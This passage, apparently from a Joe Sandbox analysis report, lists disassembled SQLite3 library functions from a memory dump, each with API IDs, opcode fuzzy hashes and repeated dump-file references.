                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_log$sqlite3_mutex_entersqlite3_mutex_leavesqlite3_value_text
                                                                                                                                      • String ID: out of memory
                                                                                                                                      • API String ID: 645246966-2599737071
                                                                                                                                      • Opcode ID: 9592a935918f54e41e548228a924403269073ec91dfc37b297232e50d017421a
                                                                                                                                      • Instruction ID: 7180b9862eeba02cab12f31a15ae79ff253e57359bb306b2cd6d09ebc6df2a8f
                                                                                                                                      • Opcode Fuzzy Hash: 9592a935918f54e41e548228a924403269073ec91dfc37b297232e50d017421a
                                                                                                                                      • Instruction Fuzzy Hash: F60181B1B082458BDB449FA9CCD1A1AB7E4AF49308F34C079DC448F305E776D990DB51
                                                                                                                                      Function 61E01440 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25libraryloaderCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: AddressHandleModuleProc
                                                                                                                                      • String ID: _Jv_RegisterClasses$libgcj-16.dll
                                                                                                                                      • API String ID: 1646373207-328863460
                                                                                                                                      • Opcode ID: 5e85dde6cb5c46402a4b2b2e62fdc1df9b5440ef12c41244f1713789e34802d2
                                                                                                                                      • Instruction ID: 833ae47598551453ce9db1403a2be1c9df0a0efb7b7b5b30436022f0f45934aa
                                                                                                                                      • Opcode Fuzzy Hash: 5e85dde6cb5c46402a4b2b2e62fdc1df9b5440ef12c41244f1713789e34802d2
                                                                                                                                      • Instruction Fuzzy Hash: DFE0EDB49147419BEB407FE9840672EBBB9AFC260AF72C85CD494862A4F770C492D763
                                                                                                                                      Function 61E1EB29 Relevance: 6.2, APIs: 4, Instructions: 228COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_malloc.SQLITE3 ref: 61E1EB90
                                                                                                                                        • Part of subcall function 61E17EE8: sqlite3_initialize.SQLITE3(00000007,00000007,?,61E17BC9,?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E17EF0
                                                                                                                                      • sqlite3_free.SQLITE3 ref: 61E1ECA7
                                                                                                                                      • sqlite3_result_error_code.SQLITE3 ref: 61E1EDCA
                                                                                                                                      • sqlite3_result_double.SQLITE3 ref: 61E1EDDF
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_freesqlite3_initializesqlite3_mallocsqlite3_result_doublesqlite3_result_error_code
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 4229029058-0
                                                                                                                                      • Opcode ID: d0d8b196de7cda87409db5e0e5343ac5b6b0ca0b61516e7f03a6efe073045b82
                                                                                                                                      • Instruction ID: fb01b16f0994e05efb05618662f8972c6ca21f6043189b20b19fe847c1b53e00
                                                                                                                                      • Opcode Fuzzy Hash: d0d8b196de7cda87409db5e0e5343ac5b6b0ca0b61516e7f03a6efe073045b82
                                                                                                                                      • Instruction Fuzzy Hash: F1A11870A08A09DFCB15DF69C584A8EBBF0FF88354F618829E859E7354EB30D9518B81
                                                                                                                                      Function 61E1E62B Relevance: 6.1, APIs: 4, Instructions: 120COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: localtimesqlite3_mutex_entersqlite3_mutex_leavesqlite3_result_error
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2374424446-0
                                                                                                                                      • Opcode ID: 1baeebad4c1a3a26bc563d193997f93c59ad12c2f11441af7ba87becf9303165
                                                                                                                                      • Instruction ID: 136e325a3bc7a989bacb598aa4dcba8509b65a29eb3b79868d56b1e27bd2fd03
                                                                                                                                      • Opcode Fuzzy Hash: 1baeebad4c1a3a26bc563d193997f93c59ad12c2f11441af7ba87becf9303165
                                                                                                                                      • Instruction Fuzzy Hash: 93514874D08359CFEB20DFA9C98478DBBF1AF45308F1085A9E448AB285D7759A84CF12
                                                                                                                                      Function 61E1FC3F Relevance: 6.1, APIs: 4, Instructions: 92COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_malloc.SQLITE3 ref: 61E1FC7B
                                                                                                                                        • Part of subcall function 61E17EE8: sqlite3_initialize.SQLITE3(00000007,00000007,?,61E17BC9,?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E17EF0
                                                                                                                                      • sqlite3_value_dup.SQLITE3 ref: 61E1FCD2
                                                                                                                                      • sqlite3_result_error_nomem.SQLITE3 ref: 61E1FD07
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_initializesqlite3_mallocsqlite3_result_error_nomemsqlite3_value_dup
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 405757302-0
                                                                                                                                      • Opcode ID: 68d572a4c6402f453158b51b8cf2fcca59753bad2e2d850b2e81e9224d04b467
                                                                                                                                      • Instruction ID: 4fde834cf7d313903c13ca125cde073186d7b4735a313237e85520166a8b19a9
                                                                                                                                      • Opcode Fuzzy Hash: 68d572a4c6402f453158b51b8cf2fcca59753bad2e2d850b2e81e9224d04b467
                                                                                                                                      • Instruction Fuzzy Hash: 3A31F5B5E042198FCB00DFA9D48199EBBF0FF88314F55846AE858AB314D735E955CFA0
                                                                                                                                      Function 61E36EAE Relevance: 6.1, APIs: 4, Instructions: 89COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_initialize.SQLITE3 ref: 61E36EBA
                                                                                                                                        • Part of subcall function 61E1797F: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E179B6
                                                                                                                                        • Part of subcall function 61E1797F: sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E21778), ref: 61E179EA
                                                                                                                                        • Part of subcall function 61E1797F: sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E17D35
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 61E36EDA
                                                                                                                                      • sqlite3_vfs_find.SQLITE3 ref: 61E36F19
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 61E37018
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_configsqlite3_initializesqlite3_vfs_find
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 321126751-0
                                                                                                                                      • Opcode ID: d6a461f65a62ae150a46f75019947c5b19758ea2025f1891783cf6a8eca7e6e5
                                                                                                                                      • Instruction ID: 3a4c2375905abddff43da70767d102b94ae39431892a66ef335508345db4bc7f
                                                                                                                                      • Opcode Fuzzy Hash: d6a461f65a62ae150a46f75019947c5b19758ea2025f1891783cf6a8eca7e6e5
                                                                                                                                      • Instruction Fuzzy Hash: 7A414A3485C2E88EC7268B3885407D97FF0DF9A708F1988DED4C48B352C636C689CB51
                                                                                                                                      Function 61E24C52 Relevance: 6.1, APIs: 4, Instructions: 85COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_snprintf$sqlite3_result_textsqlite3_value_blob
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 3596987688-0
                                                                                                                                      • Opcode ID: f031563807f16e2c612ab855e5c9196a1609a28ebaec0794fd828fd89ef474f6
                                                                                                                                      • Instruction ID: bad303952f1f456d16a87834cf4a3924523d4797ea5acfcc842eb63110c7c1b7
                                                                                                                                      • Opcode Fuzzy Hash: f031563807f16e2c612ab855e5c9196a1609a28ebaec0794fd828fd89ef474f6
                                                                                                                                      • Instruction Fuzzy Hash: 2F31F2B1A087069FC700DF69C88169EBBF4BB88364F24C92EE4A8D7390D774D9418F91
                                                                                                                                      Function 61E22A14 Relevance: 6.1, APIs: 4, Instructions: 84COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_win32_is_nt.SQLITE3 ref: 61E22A8A
                                                                                                                                      • sqlite3_snprintf.SQLITE3 ref: 61E22B22
                                                                                                                                      • sqlite3_snprintf.SQLITE3 ref: 61E22B42
                                                                                                                                      • sqlite3_free.SQLITE3 ref: 61E22B4A
                                                                                                                                        • Part of subcall function 61E12FAA: sqlite3_free.SQLITE3 ref: 61E13050
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_freesqlite3_snprintf$sqlite3_win32_is_nt
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 4082161338-0
                                                                                                                                      • Opcode ID: 0eaa140a88e282367239eb04aebcd7bcd73a2167832a8ce833be5fee5dc7ea8d
                                                                                                                                      • Instruction ID: 1545aa548982d847fda2b20210b0eda85ef1c1096dd86b25b887c858bf0cbe94
                                                                                                                                      • Opcode Fuzzy Hash: 0eaa140a88e282367239eb04aebcd7bcd73a2167832a8ce833be5fee5dc7ea8d
                                                                                                                                      • Instruction Fuzzy Hash: EB31AFB09183469BD700AFA9C45475EBBF4BB89749F20C81EE4989B340D779C545CF92
                                                                                                                                      Function 61E19B9F Relevance: 6.1, APIs: 4, Instructions: 73COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_malloc.SQLITE3 ref: 61E19BB9
                                                                                                                                        • Part of subcall function 61E17EE8: sqlite3_initialize.SQLITE3(00000007,00000007,?,61E17BC9,?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E17EF0
                                                                                                                                      • sqlite3_stricmp.SQLITE3 ref: 61E19C01
                                                                                                                                      • sqlite3_stricmp.SQLITE3 ref: 61E19C28
                                                                                                                                      • sqlite3_free.SQLITE3 ref: 61E19C56
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_stricmp$sqlite3_freesqlite3_initializesqlite3_malloc
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2308590742-0
                                                                                                                                      • Opcode ID: 34db3af258634af25f41eab726fcf2222893ef0bc47f478563414d6182194d53
                                                                                                                                      • Instruction ID: f2bc3e0c893ca387c9fb73a2d58c7151adc9fed3e59da9fee5f15724ab28e8c6
                                                                                                                                      • Opcode Fuzzy Hash: 34db3af258634af25f41eab726fcf2222893ef0bc47f478563414d6182194d53
                                                                                                                                      • Instruction Fuzzy Hash: 9821C07170C2418BE709CEA9858275B7BEAEFC5318F39C468DCD88B349C775D8428B51
                                                                                                                                      Function 61E14174 Relevance: 6.1, APIs: 4, Instructions: 65COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3(?,?,?,?,-00000001,?,61E142BE), ref: 61E141A2
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3(?,?,?,?,-00000001,?,61E142BE), ref: 61E141F9
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3(?,?,?,?,-00000001,?,61E142BE), ref: 61E14216
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3(?,?,?,?,-00000001,?,61E142BE), ref: 61E1423D
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_mutex_entersqlite3_mutex_leave
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 1477753154-0
                                                                                                                                      • Opcode ID: e4703dfb88fae64b46f605277e852d05ace32d213e893c00f8887850450c2fcc
                                                                                                                                      • Instruction ID: 84c292680c0d9c064b51162814f81ed37a2395bc54ecc127b2c643f1ef19c8a5
                                                                                                                                      • Opcode Fuzzy Hash: e4703dfb88fae64b46f605277e852d05ace32d213e893c00f8887850450c2fcc
                                                                                                                                      • Instruction Fuzzy Hash: F9116771B98A418FCF00AFA8C69164577F5FB8630CB24882FE944CB324E739D894CB52
                                                                                                                                      Function 61E24479 Relevance: 6.1, APIs: 4, Instructions: 60COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_stricmpsqlite3_value_text
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 3779612131-0
                                                                                                                                      • Opcode ID: 345b9594c48f3b2062e608bdba17bc1ec5201df28491405d11c37324e7822611
                                                                                                                                      • Instruction ID: 1778711722accc0a567ef13fc2ecf1381ba646ee2df9bb97417e433cf556b37e
                                                                                                                                      • Opcode Fuzzy Hash: 345b9594c48f3b2062e608bdba17bc1ec5201df28491405d11c37324e7822611
                                                                                                                                      • Instruction Fuzzy Hash: 5E1160B1A447499BCB10EF6DC8952897BA1FF85374F64C62EE9A88B380D734D511CB81
                                                                                                                                      Function 61E13791 Relevance: 6.1, APIs: 4, Instructions: 51COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 61E137A3
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 61E137F1
                                                                                                                                        • Part of subcall function 61E1020F: sqlite3_mutex_enter.SQLITE3 ref: 61E1024E
                                                                                                                                        • Part of subcall function 61E1020F: sqlite3_mutex_leave.SQLITE3 ref: 61E102F6
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 61E13815
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 61E13836
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_mutex_entersqlite3_mutex_leave
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 1477753154-0
                                                                                                                                      • Opcode ID: 490bdfbb28945bb226f68fe68e7e78a210bbc9d669b814fdd8b1814b9d3a8a95
                                                                                                                                      • Instruction ID: b7bf7c75c260614dc911fbad7e732e75ca7371c71ec2725215b69515859c9dde
                                                                                                                                      • Opcode Fuzzy Hash: 490bdfbb28945bb226f68fe68e7e78a210bbc9d669b814fdd8b1814b9d3a8a95
                                                                                                                                      • Instruction Fuzzy Hash: 28112AB4A58B419BDB00EFA8C4C261DB7E4BBC7318F24892ED4448B369D775D890CB52
                                                                                                                                      Function 61E84C50 Relevance: 6.0, APIs: 4, Instructions: 46COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
